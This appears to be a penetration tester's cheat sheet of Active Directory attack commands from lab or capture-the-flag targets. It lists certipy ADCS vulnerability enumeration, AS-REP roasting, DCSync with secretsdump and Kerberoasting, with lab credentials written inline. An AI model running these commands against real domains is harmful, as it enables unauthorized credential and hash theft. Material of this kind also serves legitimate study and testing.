Active Directory

ADCS

• tool - certipy

• Reference article - certified-pre-owned

• to find whether the domain controller is vulnerable or not

certipy find -u svc_ldap -p 'lDaP_1n_th3_cle4r!' -target 10.10.11.222 -text -stdout -vulnerable

ASREProast

GetNPUsers.py 'BLACKFIELD.LOCAL/' -usersfile user.txt -format hashcat -outputfile hashes.aspreroast -dc-ip 10.10.10.192

impacket-GetNPUsers dante/jbercov -no-pass -dc-ip 172.16.2.5 

DCSync

impacket-secretsdump DANTE.ADMIN/jbercov:myspace7@172.16.2.5

Kerberoasting

└─$ impacket-GetUserSPNs -request -dc-ip 192.168.110.55 'painters.htb/riley:P@ssw0rd'